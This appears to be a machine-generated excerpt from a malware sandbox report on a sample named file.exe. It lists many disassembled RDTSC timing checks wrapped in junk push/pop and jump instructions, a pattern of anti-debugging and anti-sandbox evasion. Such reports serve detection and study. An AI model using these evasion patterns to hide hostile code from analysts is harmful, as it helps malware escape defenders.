Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4C8 second address: 117F4CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4CD second address: 117F4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jns 00007FC7C8E00066h 0x0000000c jne 00007FC7C8E00066h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007FC7C8E00078h 0x0000001d jmp 00007FC7C8E00072h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F4FC second address: 117F52A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC7C8E02073h 0x00000008 pushad 0x00000009 je 00007FC7C8E02056h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F6AF second address: 117F6B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F6B3 second address: 117F6E3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FC7C8E02073h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F6E3 second address: 117F6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118325D second address: 1183263 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183263 second address: 11832A3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC7C8E0007Bh 0x00000008 jng 00007FC7C8E00066h 0x0000000e jmp 00007FC7C8E0006Fh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007FC7C8E0006Fh 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 jnp 00007FC7C8E00066h 0x00000029 push edi 0x0000002a pop edi 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11832A3 second address: 11832C4 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC7C8E02065h 0x00000008 jmp 00007FC7C8E0205Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FC7C8E02056h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118690D second address: 118691A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118691A second address: 118691E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186AC4 second address: 1186ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC7C8E0006Ch 0x00000009 jno 00007FC7C8E00066h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186C45 second address: 1186C73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FC7C8E02062h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186F66 second address: 1186F90 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC7C8E00066h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FC7C8E00075h 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11870CE second address: 1187100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FC7C8E02065h 0x0000000a jmp 00007FC7C8E02062h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E6C4 second address: 118E6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FC7C8E00068h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E6D5 second address: 118E6D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EDDB second address: 118EDEC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC7C8E00068h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EDEC second address: 118EDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EDF2 second address: 118EDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F6B4 second address: 118F6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F6B8 second address: 118F6BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F9A8 second address: 118F9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FC7C8E0205Ch 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FC7C8E02066h 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC7C8E0205Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F9E3 second address: 118FA04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0006Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FC7C8E00066h 0x00000011 ja 00007FC7C8E00066h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FA04 second address: 118FA08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198E70 second address: 1198E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198288 second address: 119828D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119858B second address: 1198596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198596 second address: 11985DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E02065h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jmp 00007FC7C8E02069h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11985DC second address: 11985E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11985E0 second address: 11985EA instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC7C8E02056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11989E5 second address: 11989E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11989E9 second address: 11989EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0B8D second address: 11A0B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F5E8 second address: 119F5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 ja 00007FC7C8E02056h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F5F6 second address: 119F5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F765 second address: 119F76B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F76B second address: 119F770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F770 second address: 119F779 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F8B9 second address: 119F8BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F8BE second address: 119F8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F9FD second address: 119FA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FC7C8E00068h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FA0D second address: 119FA15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FA15 second address: 119FA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC7C8E00066h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC7C8E00077h 0x00000013 push esi 0x00000014 jmp 00007FC7C8E00073h 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FBA2 second address: 119FBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FBAA second address: 119FBB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FC7C8E00068h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FBB7 second address: 119FBCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0205Ah 0x00000007 pushad 0x00000008 jg 00007FC7C8E02056h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A86ED second address: 11A86F6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4593 second address: 10F45B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E0205Bh 0x00000009 pop edx 0x0000000a jbe 00007FC7C8E0205Eh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jg 00007FC7C8E02056h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F45B1 second address: 10F45D0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC7C8E00075h 0x00000008 jmp 00007FC7C8E0006Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F45D0 second address: 10F45ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FC7C8E02067h 0x0000000c jp 00007FC7C8E02056h 0x00000012 jmp 00007FC7C8E0205Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F45ED second address: 10F45F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC7C8E00066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF287 second address: 11AF28B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8BF0 second address: 11B8BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8BF4 second address: 11B8C00 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8C00 second address: 11B8C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8C04 second address: 11B8C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8C08 second address: 11B8C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jng 00007FC7C8E00094h 0x0000000d pushad 0x0000000e jnc 00007FC7C8E00066h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FC7C8E00078h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB7B1 second address: 11BB7B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB7B6 second address: 11BB7CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E0006Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB7CA second address: 11BB7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB7CE second address: 11BB7D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB337 second address: 11BB341 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC7C8E0205Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB341 second address: 11BB360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC7C8E0006Eh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007FC7C8E00066h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB360 second address: 11BB364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB444 second address: 11CB461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E00079h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D36C6 second address: 11D36D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D239B second address: 11D23A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D23A1 second address: 11D23C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D27EA second address: 11D27F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D27F3 second address: 11D27F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D27F7 second address: 11D280F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E00074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D29A2 second address: 11D29B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E02060h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6C22 second address: 11D6C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DE586 second address: 11DE591 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FC7C8E02056h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3510 second address: 11E352D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC7C8E0006Bh 0x0000000a jno 00007FC7C8E00066h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E352D second address: 11E3531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA54E second address: 10EA58C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC7C8E00072h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC7C8E0006Bh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC7C8E00076h 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA58C second address: 10EA590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA590 second address: 10EA5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC7C8E00077h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA5AD second address: 10EA5ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC7C8E02064h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC7C8E02062h 0x0000000f jmp 00007FC7C8E02060h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EA5ED second address: 10EA5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6256 second address: 11F6264 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DA0 second address: 11F5DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DA4 second address: 11F5DB4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC7C8E02056h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DB4 second address: 11F5DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC7C8E00066h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DBE second address: 11F5DC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DC2 second address: 11F5DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC7C8E00066h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DD2 second address: 11F5DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DD8 second address: 11F5DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DDC second address: 11F5DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5DE0 second address: 11F5DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC7C8E0006Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5F89 second address: 11F5FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC7C8E02061h 0x00000009 pop esi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5FA2 second address: 11F5FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206D4C second address: 1206D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1205D05 second address: 1205D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12060FC second address: 1206106 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC7C8E02056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206A94 second address: 1206A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206A98 second address: 1206AB0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC7C8E02056h 0x00000008 jmp 00007FC7C8E0205Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
